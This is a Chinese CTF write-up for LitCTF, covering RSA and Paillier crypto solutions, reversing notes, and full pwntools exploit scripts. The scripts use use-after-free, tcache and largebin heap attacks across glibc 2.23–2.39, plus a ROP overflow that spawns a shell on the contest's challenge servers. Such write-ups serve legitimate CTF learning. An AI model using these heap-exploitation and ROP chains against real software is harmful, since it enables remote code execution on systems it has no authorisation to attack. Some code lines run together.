DAS是打不动了,只能玩玩新生赛了。
Crypto
small_e
e=3对密文直接开3次方
m = [iroot(i,3)[0] for i in c_list]
bytes(m)
#b'LitCTF{you_know_m_equ4l_cub3_root_0f_n}'
common_primes
n1,n2有公共因子,用gcd求,再解RSA
>>> p = gcd(n1,n2)
>>> p
mpz(8245415071042639546782848182272251443480555745517775279882001098094205764408467067715468592824672653336996239366358203259611827449550378456941260886257597)
>>> q = n1//p
>>> d = invert(65537,(p-1)*(q-1))
>>> m = pow(c1,d,n1)
>>> long_to_bytes(m)
b'LitCTF{c0mmunity_w1th_two_ciphert3xt}'
CRT
先用中国剩余定理求出m**10再开根号
sage: m10 = crt(c_list,n_list)
sage: from gmpy2 import *
sage: from Crypto.Util.number import *
sage: m = iroot(m10,10)
sage: m
(mpz(479645460181558308273383365446579126853750879524994043421053), True)
sage: long_to_bytes(m[0])
b'LitCTF{CRT_i5_s0_e4sy!!!}'
little_fermat
p,q相差很小(可以费马分解),根据提示pow(666666, x, p) == 1,得到x=p-1
q = 11077890085511755979659110327492351475443062778113645284455542893506768080495929351346530156720969755021338935044545256776544338408890311881437358607694219
p = n//q
m = pow(c,invert(e,(p-1)*(q-1)),n)long_to_bytes(int(m)^^(p-1))
#b'LitCTF{Y0u_know_littl3_ferm4t_th3ory}'
Polynomial
3个等式可用消元法求出值。
PR.<p,q,r> = PolynomialRing(ZZ)
f1 = p**2 + q - Polynomial1
f2 = q**2 + r - Polynomial2
f3 = r**2 + p - Polynomial3
h = f1.sylvester_matrix(f2, q).det()
h2 = h.sylvester_matrix(f3, r).det()
csp = h2.univariate_polynomial().monic().roots()
csp = [int(i[0]) for i in csp]p = 7625900647186256736313352208336189136024613525845451962194744676052072325262646533642163553090015734584960267587813894745414843037111074258730819958397631
long_to_bytes(int(pow(c,invert(e,p-1),p)))#LitCTF{P0lynomi4l_i5_inter3st1ng}
真·EasyRSA
n=p^4 可以求出p,然后解c1得到提示
再用提示为模对c2求RSA
p = iroot(n,4)[0]
d = invert(65537, p**3*(p-1))
long_to_bytes(int(pow(c1,d,n)))
#LitCTF{HeRe_1s_Weak_F1aG}hahahaha_____hint_is_93492332457019255141294502555555489582661562346262162342211605562996217352449
h = 93492332457019255141294502555555489582661562346262162342211605562996217352449
isPrime(h)
#1
long_to_bytes(pow(c2,invert(65537,h-1),h))
#b'LitCTF{R1ght_Answ3r!}'
small_e_plus
先爆破出e,再将字符乘幂作成字面,然后查字典得到flag
for e in range(1000,2000):if pow(ord('L'),e,n) == c_list[0]:break dic = [pow(i,e,n) for i in range(128)]
bytes([dic.index(i) for i in c_list])
#b'LitCTF{sometim3s_y0u_need_to_rever5e_your_m1nd}'
common_primes_plus
n1,n2有公因子,所以hint1,hint2也有公因子p
p = gcd(hint1,hint2)
long_to_bytes(pow(c, invert(e,p-1),p))
b'LitCTF{th1s_i5_a_adv4nced_c0mmon_prim3s}'
Polynomial_plus
p,q由k生成,可以直接求解,然后再解RSA
#sage
var('k')
p = k**10 + 22*k**8 + 53*k**6 - 22*k**4 - 39*k**2 + 114514
q = k**9 + 10*k**7 - 13*k**6 - 2*k**4 + 111*k**2 + 1919810
solve([p*q - n], [k])
k = 17327183749088974321p = k**10 + 22*k**8 + 53*k**6 - 22*k**4 - 39*k**2 + 114514
long_to_bytes(int(pow(c, invert(65537,p-1), p)))
#b'LitCTF{Th1s_i5_a_trick_for_s0lving_polynomi4l}'
真·签到!!!
这题跟前边重了,只是数字不同,先爆破e,再生成字典,再查字典
for e in range(10**8):if pow(76,e,n) == c[0]:break dic = [pow(i,e,n) for i in range(128)]
bytes([dic.index(i) for i in c])
CRT_plus
e很小,可直接开根号,再除去因子
>>> iroot(C[0],5)
(mpz(1114835028310817285669171665036161960969336829214901199058977556784786378064849789), True)
>>> long_to_bytes(iroot(C[0],5)[0]//126)
b'LitCTF{Y0u_know_broadca5t_att4ck\x85'
男人,什么罐头我说!
很明显是2进制的ASCII码,然后解出是5个1组的培根码(01转AB)
01011 00000 01100 10100 00111 00000 10010 00010 00000 01100 01010 10001 00000 10110
ABABB AAAAA ABBAA BABAA AABBB AAAAA BAABA AAABA AAAAA ABBAA ABABA BAAAB AAAAA BABBA
培根
LitCTF{MANWHATCANLSAY}
mid
p缺少中间部分,400从点,可以直接用coppersmith法求解
PR.<x> = PolynomialRing(Zmod(n))
f = (leak1<<924)+leak2 +x*2^500
f.monic().small_roots(X=2^424,beta=0.4)p = f(v[0])
long_to_bytes(int(pow(c,invert(e,int(p-1)),p)))
b'LitCTF{3b633bcc134c1d0f5c07ea7873f91c26}'
little_fermat_plus
与little_fermat很像,这p,q相近求出p(yafu),然后x=p-1,然后需要加模爆破一下
p = 13020096008592041728502941379320475635174025276449918470020161804469516198510912834732290273906913511909754142197503171935952441170521521729019672927534541
q = n//p
mx = pow(c,invert(e,(p-1)*(q-1)),n)
x = p-1for i in range(2**10+1):m = long_to_bytes(mx^(i*x))if b'LitCTF' in m:print(m)#b'LitCTF{It_i5_little_f3rm4t_the0ry_extends}'
你是capper,还是copper?
P=p<<100直接给了p
>>> p = P>>100
>>> long_to_bytes(pow(c,invert(e,p-1),p))
b'LitCTF{wiener_@nd_c0pp3r}'
Pillier
从名字知道这是个Pillier加密,只有远端没有代码。知道是什么加密后边应该好办了,但是居然没作出来。后来看了下WP,K差一点。
Pillier加密有个特点,公钥是由N和g组成,并且一般情况下 g=N+1,而N和RSA一样是由p*q组成。另一特征是加密里引入随机数,这使得每次的密文会不同。
连接远端后得到公钥,c并且可以进行加解密操作。由于N只有256位,可以用yafu分解。也就可以求出m来。
不过每次连接m都不同,这就不清楚怎么回事了。后来看WP说提示flag超过32位,由于加密里N只有256位,也就是m>N,需要多次求CRT
def encrypt(pk, m):""" 使用公钥pk加密消息m, m < n """n, g = pkr = random.randint(1, n) # 随机选择一个数rc = pow(g, m, n ** 2) * pow(r, n, n ** 2) % n ** 2return c def decrypt(pk, sk, c):""" 使用私钥sk解密密文c """n, g = pklambda_val = sk# 计算 u = c^lambda mod n^2u = pow(c, lambda_val, n ** 2)# 计算 L(u)L_u = (u - 1) // n# 预先计算 L(g^lambda mod n^2) 的模逆元素L_g_lambda_inv = invert((pow(g, lambda_val, n ** 2) - 1) // n, n)# 还原原始消息return (L_u * L_g_lambda_inv) % nN1,g = 79517101997270964688366165034515801912751657285675372726044700301308378369609, 79517101997270964688366165034515801912751657285675372726044700301308378369610
p,q = 278278481161095849774037196023030390309,285746499928747237420732398411991407701
L = lcm(p-1,q-1)
c = 0x48baba52269d903b7c994cd528da467787a88c37ef6cca70aeb90de257604fb645920f809e0fbc8caa00111a59375702576d473243d6b59d001acb7c6f257c30
m1 = decrypt((N1,g),L,c)
#53518905410717959757043366863388386993896907671864984888639148445832656508009N2,g = 61850716526827954398139141888404704837865432858061399897695845884063182431803,61850716526827954398139141888404704837865432858061399897695845884063182431804
p,q = 233290783220006338617990723940764519109, 265122846574265420676116903245835533567
L = lcm(p-1,q-1)
c = 0x2fdc84dc7e8ccde04af2b4b60fc201aaf5ba61f4b32bd241df8dbdccab25047b3368aa42a555a9093a07379aa1898596862e4f62047fe7ecb2001956ca48fda0
m2 = decrypt((N2,g),L,c)
#11649162175608218595583963511534061028872326393897628352723558766553329496108m = crt([m1,m2],[N1,N2])
bytes.fromhex(hex(m)[2:])
#b'Litctf{A235E5DF-0E8B-D361-D1D4-60F7E25345AA_this_is_Paillier!!!}'
PWN
heap-2.23
前4个堆题都是UAF漏洞,2.23PIE未开,将指针写到指针区,控制指针区后直接改got.free
from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./heap2.23')
libc = ELF('./libc-2.23.so')#p = process('./heap2.23')
p = remote('node3.anna.nssctf.cn', 28289)def add(idx,size):p.sendlineafter(b">>", b'1')p.sendlineafter(b"idx? ", str(idx).encode())p.sendlineafter(b"size? ", str(size).encode())def free(idx):p.sendlineafter(b">>", b'2')p.sendlineafter(b"idx? ", str(idx).encode())def show(idx):p.sendlineafter(b">>", b'3')p.sendlineafter(b"idx? ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>", b'4')p.sendlineafter(b"idx? ", str(idx).encode())p.sendafter(b"content : \n", msg)add(0,0x68)
add(1,0x68)free(0)
free(1)
free(0)
add(2,0x68)
edit(2, p64(0x6020a0-3))
add(3,0x68)
add(4,0x68)
add(5,0x68)edit(5, b'\0'*0x13 + flat(0x6020c8, elf.got['free'], 0x6020d8, b'/bin/sh\0'))
show(1)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']edit(1,p64(libc.sym['system']))free(2)
p.interactive()
heap-2.27
2.27直接用tcacheAttack写_free_hook
from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./heap2.27')
libc = ELF('./libc-2.27.so')#p = process('./heap2.27')
p = remote('node1.anna.nssctf.cn', 28303)def add(idx,size):p.sendlineafter(b">>", b'1')p.sendlineafter(b"idx? ", str(idx).encode())p.sendlineafter(b"size? ", str(size).encode())def free(idx):p.sendlineafter(b">>", b'2')p.sendlineafter(b"idx? ", str(idx).encode())def show(idx):p.sendlineafter(b">>", b'3')p.sendlineafter(b"idx? ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>", b'4')p.sendlineafter(b"idx? ", str(idx).encode())p.sendafter(b"content : \n", msg)add(0,0x430)
add(1,0x10)
add(2,0x10)
free(0)
free(1)
free(2)
show(0)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']edit(2, p64(libc.sym['__free_hook']))
add(3, 0x10)
add(4, 0x10) #free_hook
edit(4, p64(libc.sym['system']))
edit(1, b'/bin/sh\0')
free(1)
p.interactive()
heap-2.31
与2.27基本相同
from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./heap2.31')
libc = ELF('./libc-2.31.so')#p = process('./heap2.31')
p = remote('node2.anna.nssctf.cn', 28864)def add(idx,size):p.sendlineafter(b">>", b'1')p.sendlineafter(b"idx? ", str(idx).encode())p.sendlineafter(b"size? ", str(size).encode())def free(idx):p.sendlineafter(b">>", b'2')p.sendlineafter(b"idx? ", str(idx).encode())def show(idx):p.sendlineafter(b">>", b'3')p.sendlineafter(b"idx? ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>", b'4')p.sendlineafter(b"idx? ", str(idx).encode())p.sendafter(b"content : \n", msg)add(0,0x430)
add(1,0x10)
add(2,0x10)
free(0)
free(1)
free(2)
show(0)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']edit(2, p64(libc.sym['__free_hook']))
add(3, 0x10)
add(4, 0x10) #free_hook
edit(4, p64(libc.sym['system']))
edit(1, b'/bin/sh\0')
free(1)
p.interactive()
heap-2.35
2.35在fd加了key,没有free_hook,可先从environ得到栈地址,再将块建到栈得到加载地址,再控制指针区,向栈写ROP
from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./heap2.35')
libc = ELF('./libc-2.35.so')#p = process('./heap2.35')
p = remote('node1.anna.nssctf.cn', 28558)def add(idx,size):p.sendlineafter(b">>", b'1')p.sendlineafter(b"idx? ", str(idx).encode())p.sendlineafter(b"size? ", str(size).encode())def free(idx):p.sendlineafter(b">>", b'2')p.sendlineafter(b"idx? ", str(idx).encode())def show(idx):p.sendlineafter(b">>", b'3')p.sendlineafter(b"idx? ", str(idx).encode())def edit(idx,msg):p.sendlineafter(b">>", b'4')p.sendlineafter(b"idx? ", str(idx).encode())p.sendafter(b"content : \n", msg)add(0,0x430)
add(1,0x40)
add(2,0x40)
free(0)
free(1)
free(2)
show(0)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x21ace0
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))show(1)
p.recvuntil(b"content : ")
heap = u64(p.recvline()[:-1].ljust(8, b'\x00'))<<12print(f"{libc.address = :x} {heap = :x}")edit(2, p64((libc.sym['_environ'])^(heap>>12)))
add(3,0x40)
add(4,0x40)
show(4)
p.recvuntil(b"content : ")
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x148
print(f"{stack = :x}")add(5, 0x60)
add(6, 0x60)
free(5)
free(6)
edit(6, p64((stack+0x20)^(heap>>12)))
add(7, 0x60)
add(8, 0x60)edit(8, b'A'*0x18)
show(8)
p.recvuntil(b"content : ")
elf.address = u64(p.recvline()[0x18:-1].ljust(8, b'\x00')) - 0x17a1
ptr = elf.address + 0x4060
print(f"{ptr = :x}")add(9,0x50)
add(10,0x50)
free(9)
free(10)
edit(10, p64((ptr)^(heap>>12)))
add(11, 0x50)
add(12, 0x50)edit(12, p64(stack+8))
edit(0, flat(pop_rdi+1, pop_rdi,bin_sh, libc.sym['system']))p.interactive()
heap-2.39
这个也是后来弄出来的。其实一直想的这个思路没有错,只是有些限制。
对于高版本libc来说一般用apple打结构。但我想用更直接的方法:写ROP。在2.35上来行,卡点不多,在2.39卡住了。主要是因为tcache建块时有些限制,特别是在栈里的时候。测试几次后猜是1到尾对齐,2是要+8处为0
所以这题的思路:
1,用largebin attack修改mp_.tcache_max_bins,使得大块也进行tcache以便进行tcache攻击。
2,在environ前建块泄露栈地址。
3,在栈里找libc_start_main后边start前的位置,这里可以建成块,泄露程序加载地址,有了这个地址就可以控制ptr
4,控制ptr后直接向edit的返回地址写ROP。
from pwn import *context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.39.so')p = process('./heap2.39')def add(idx, size):p.sendlineafter(b">>", b'1')p.sendlineafter(b"idx? ", str(idx).encode())p.sendlineafter(b"size? ", str(size).encode())def free(idx):p.sendlineafter(b">>", b'2')p.sendlineafter(b"idx? ", str(idx).encode())def show(idx):p.sendlineafter(b">>", b'3')p.sendlineafter(b"idx? ", str(idx).encode())p.recvuntil(b"content : ")def edit(idx, msg):p.sendlineafter(b">>", b'4')p.sendlineafter(b"idx? ", str(idx).encode())p.sendafter(b"content : \n", msg)add(0xf, 0x410) #当大块也进行tcache时,指针会落在这里,直接修改指针即可建块。
#largebin attach mp_.tcache_max_bins
add(0, 0x520)
add(1, 0x500)
add(2, 0x500)
free(0)
add(3, 0x540)
free(2) #0 large, 2 unsort 归位的稍大块largein和未归位的稍小块unsort
show(0)
large = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = large - 0x203f50
print(f"{libc.address = :x}")
edit(0, b'A'*0x10)
show(0)
heap = u64(p.recvline()[0x10:-1].ljust(8, b'\x00'))
print(f"{heap = :x}")
edit(0, p64(large)*2 + p64(0) + p64(libc.sym['obstack_exit_failure'] - 0x20 - 0x20))
add(4,0x550) #建更大块,使unsort也归位到large与前块重链时次2块地址写到0块的next_bk指向的位置,实现攻击。#1,environ得到栈地址
#2,在栈内后部找到有elf地址的位置建块得到加载地址
#3,在ptr指针前建块控制指针
#4,利用指针任意地址写在栈上写ROP
free(3) #0x540+0x10
free(4) #0x550+0x10
#0x55555555b0b0: 0x0001000000000000 0x0000000000000001
#0x55555555b320: 0x0000000000000000 0x000055555555c610
#0x55555555b330: 0x000055555555cb60 0x0000000000000000
#修改tcache里的指针,直接将块建到environ (需要对齐,和调整位置)
edit(0xf, p64(0)*17 + p64(libc.sym['_environ']-0x18))
add(5, 0x540)
edit(5, b'A'*0x18)
show(5)
stack = u64(p.recvline()[0x18:-1].ljust(8, b'\x00')) #edit_ret = stack - 0x150
print(f"{stack = :x}")#在栈内找适当位置,泄露加载地址
edit(0xf, p64(0)*18 + p64(stack - 0x58))
add(6, 0x550)
show(6)
elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x1160
print(f"{elf.address = :x}")#将块建到指针区,控制指针
ptr = elf.address + 0x4060
add(7,0x560)
free(7)
edit(0xf, p64(0)*19 + p64(ptr - 0x10))
add(8, 0x560)pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
edit(8, flat(0,0, stack-0x150)) #将0块指针改为edit的返回地址
edit(0, flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])) #在edit时将ROP写到栈p.interactive()
ATM
菜单3代码分将指针写到nbytes里(可能形成负数,不是每次都成功,如果随机地址未开的话恰好总不成功),钱数变多造成溢出,写ROP
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.35.so')
elf = ELF('./app')#p = process('./app')
p = remote('node3.anna.nssctf.cn', 28553)p.sendafter(b'password:\n', b'A')#gdb.attach(p, "b*0x40140b\nc")p.sendlineafter(b'4.Exit\n', b'3')
p.sendafter(b"Please enter your deposit:", b'888\x00')p.sendlineafter(b'4.Exit\n', b'1')p.sendlineafter(b"4.Exit\n", b'5')
p.recvuntil(b"gift:")
libc_base = int(p.recvline(),16) - 0x60770
print(f"{libc_base = :x}")pop_rdi = 0x401233
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
bin_sh = libc_base + 0x1d8698
system = libc_base + 0x50d60
bss = 0x404800
pay = b'A'*0x168 + flat(pop_rdi+1, pop_rdi, bin_sh, system)
#pay = b'A'*0x168 + flat(pop_rdi, libc_base + 0x1dc680+0x30, elf.plt['puts']) #-0ubuntu3.3) stable release version 2.35.
p.send(pay)p.sendlineafter(b"4.Exit\n", b'4')
p.interactive()
REV
编码喵
在原码里找到密文:tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0=
和变列base64的码表:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
用厨子解客密:LitCTF{03034ed8-a2da-4aa6-b2c9-01ace9e26301}
hello_upx
用010将upx改成大写,然后反编译,加密方法是加序号
a = 0x707541504072684C
b = 0x655158612559632B
c = 0x4F5E4E601E5A4E20
d = p64(a)+p64(b)+p64(c)
e = [i+d[i] for i in range(24)]
bytes(e)
#LitCTF{w3lc0me_t0_l1tctf
ezrc4
SMC分修改密钥,这个RC4没有改,拿到密钥可直接解密
c = bytes.fromhex('d5b27cdc90a26e600613e47159b09031b2c71dd7')
key = b'fenkey?'
key1 = b'\x0a\x0c\x1a\x08\x11\x1f\x1e'
xor(key,key1)
#b'litctf!'
LitCTF{rc4_love_nice}
ezpython
队友整的,先用pyinstxtractor.py解开包,然后到在线网站上解码。就是个变表base64,变表base64函数在Litctfbase64里,这包里能找到。拿到表和密文找厨子即可。